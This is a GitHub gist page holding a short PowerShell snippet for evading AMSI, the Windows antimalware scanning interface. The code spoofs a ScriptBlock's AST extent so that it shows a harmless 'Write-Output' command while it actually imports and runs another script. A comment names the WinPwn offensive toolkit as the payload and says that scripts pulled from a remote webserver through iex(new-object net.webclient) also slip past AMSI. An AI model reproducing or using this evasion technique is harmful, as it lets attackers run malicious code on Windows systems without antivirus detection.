Last active
August 26, 2024 14:53
-
-
Save Zab-an/2ce0f16237934f853a85e7689a202f9f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast | |
| $ExecutedAst = [ScriptBlock]::Create("Import-Module [CHEMIN DU SCRIPT]").Ast | |
| $Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent, | |
| $null, | |
| $null, | |
| $null, | |
| $ExecutedAst.EndBlock.Copy(), | |
| $null) | |
| $Sb = $Ast.GetScriptBlock() | |
| # Any function - such as in this case WinPwn - that you want to be executed must be already called in the Scriptblock on the remote webserver. Fun fact, scripts that are loaded by the Script itself via iex(new-object net.webclient) also bypass AMSI. | |
| & $Sb |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment